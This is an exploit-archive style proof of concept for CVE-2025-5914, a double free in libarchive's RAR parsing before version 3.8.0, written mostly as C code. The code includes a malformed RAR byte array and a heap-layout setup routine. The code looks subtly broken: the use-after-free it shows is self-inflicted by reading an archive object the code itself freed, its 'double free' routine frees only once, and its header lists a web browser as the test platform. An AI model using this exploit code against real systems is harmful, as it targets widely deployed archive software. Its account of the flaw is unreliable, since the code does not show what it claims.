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| # Title     : libarchive RAR < 3.8.0 Parsing Double Free / Use-After-Free                                                                   |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
| # Vendor    : https://github.com/libarchive/                                                                                              |
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[+] References :  

[+] Summary    :  This proof of concept demonstrates a memory management flaw in vulnerable versions of libarchive (< 3.8.0) when handling malformed RAR headers. 
                  By supplying a corrupted RAR structure, the code forces error paths during archive parsing, leading to improper cleanup. As a result, the archive object 
                  may be freed and then accessed again, triggering a use‑after‑free and, in certain builds, a double free condition. 
                  The PoC is intended for diagnostic and educational purposes, typically observable through memory analysis tools such as Valgrind or AddressSanitizer, and does not constitute a reliable exploit.

[+] POC :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <archive.h>
#include <archive_entry.h>

const unsigned char MALICIOUS_RAR[] = {

    0x52, 0x61, 0x72, 0x21, 0x1A, 0x07, 0x00,
    0xE6, 0xD5,
    0x73,
    0x80, 0x00,
    0x1A, 0x00,
    0xFF, 0xFF,
    0x00, 0x90,
    0x1F, 0x00,
    0xFF, 0xFF, 0xFF, 0x7F,
    0x00, 0x00, 0x00, 0x00,
    0x03,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x14,
    0x30,
    0x01, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x41
};

void setup_heap_layout() {

    printf("[+] Setting up heap layout...\n");

    void *chunks[10];
    for (int i = 0; i < 10; i++) {
        chunks[i] = malloc(1024);
        if (chunks[i]) {
            memset(chunks[i], 'A', 1024);
        }
    }

    for (int i = 1; i < 10; i += 2) {
        free(chunks[i]);
    }
    
    printf("[+] Heap layout prepared\n");
}

int trigger_vulnerability() {
    struct archive *a = NULL;
    struct archive_entry *entry = NULL;
    int r;
    size_t buf_size = sizeof(MALICIOUS_RAR);
    uint8_t *buffer = (uint8_t *)malloc(buf_size);
    
    if (!buffer) {
        fprintf(stderr, "[-] Failed to allocate buffer\n");
        return 1;
    }

    memcpy(buffer, MALICIOUS_RAR, buf_size);

    a = archive_read_new();
    if (!a) {
        fprintf(stderr, "[-] Failed to create archive object\n");
        free(buffer);
        return 1;
    }
    
    printf("[+] Archive object created: %p\n", (void*)a);

    r = archive_read_support_format_rar(a);
    if (r != ARCHIVE_OK) {
        printf("[-] RAR format not supported, trying all formats\n");
        r = archive_read_support_format_all(a);
    }
    
    if (r != ARCHIVE_OK) {
        fprintf(stderr, "[-] Failed to enable RAR support\n");
        archive_read_free(a);
        free(buffer);
        return 1;
    }

    printf("[+] Opening archive from memory (buffer: %p, size: %zu)\n", 
           (void*)buffer, buf_size);
    
    r = archive_read_open_memory(a, buffer, buf_size);
    if (r != ARCHIVE_OK) {
        fprintf(stderr, "[-] archive_read_open_memory failed: %d\n", r);
        fprintf(stderr, "Error: %s\n", archive_error_string(a));

    }
    
    printf("[+] Attempting to read header...\n");
    r = archive_read_next_header(a, &entry);
    
    if (r == ARCHIVE_OK) {
        printf("[+] Header read successfully (unexpected!)\n");
        const char *pathname = archive_entry_pathname(entry);
        printf("Entry: %s\n", pathname ? pathname : "(null)");
    } else {
        printf("[-] Header read failed as expected: %s\n", 
               archive_error_string(a));
    }

    if (r == ARCHIVE_OK) {
        printf("[+] Attempting to skip data...\n");
        r = archive_read_data_skip(a);
        if (r != ARCHIVE_OK) {
            printf("[-] Data skip failed: %s\n", archive_error_string(a));
        }
    }
    printf("[+] First cleanup (this should free the archive object)\n");
    r = archive_read_finish(a);
    printf("archive_read_finish returned: %d\n", r);
    printf("[+] Attempting to use archive object after cleanup...\n");
    printf("Archive pointer: %p\n", (void*)a);
    const char *err = archive_error_string(a);
    printf("Error string (after free): %s\n", err ? err : "(null)");

    free(buffer);
   
    return 0;
}
void demonstrate_heap_corruption() {
    printf("\n[+] Demonstrating heap corruption...\n");
    void *chunk1 = malloc(256);
    void *chunk2 = malloc(256);
    void *chunk3 = malloc(256);
    
    printf("Allocated chunks: %p, %p, %p\n", chunk1, chunk2, chunk3);

    if (chunk1) memset(chunk1, 'B', 256);
    if (chunk2) memset(chunk2, 'C', 256);
    if (chunk3) memset(chunk3, 'D', 256);

    printf("[+] Simulating double free...\n");
    if (chunk2) {
        free(chunk2);
    }
    printf("[+] Heap operations completed\n");
}

int main(int argc, char *argv[]) {
    printf("[+] CVE-2025-5914 - libarchive RAR Double Free PoC\n");
    printf("[+] Target: libarchive < 3.8.0\n");
    printf("[+] Architecture: %s\n", 
           "x86_64"
           "unknown"
    );
    printf("[+] libarchive version: %s\n", archive_version_details());
    setup_heap_layout();
    printf("\n[+] Triggering vulnerability...\n");
    int result = trigger_vulnerability();
    demonstrate_heap_corruption();
    printf("\n[+] PoC completed\n");
    printf("[+] Expected result: Double free detected by Valgrind\n");
    printf("[+] Look for 'Invalid read' and 'free'd' messages in Valgrind output\n");
    
    return result;
}
	
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
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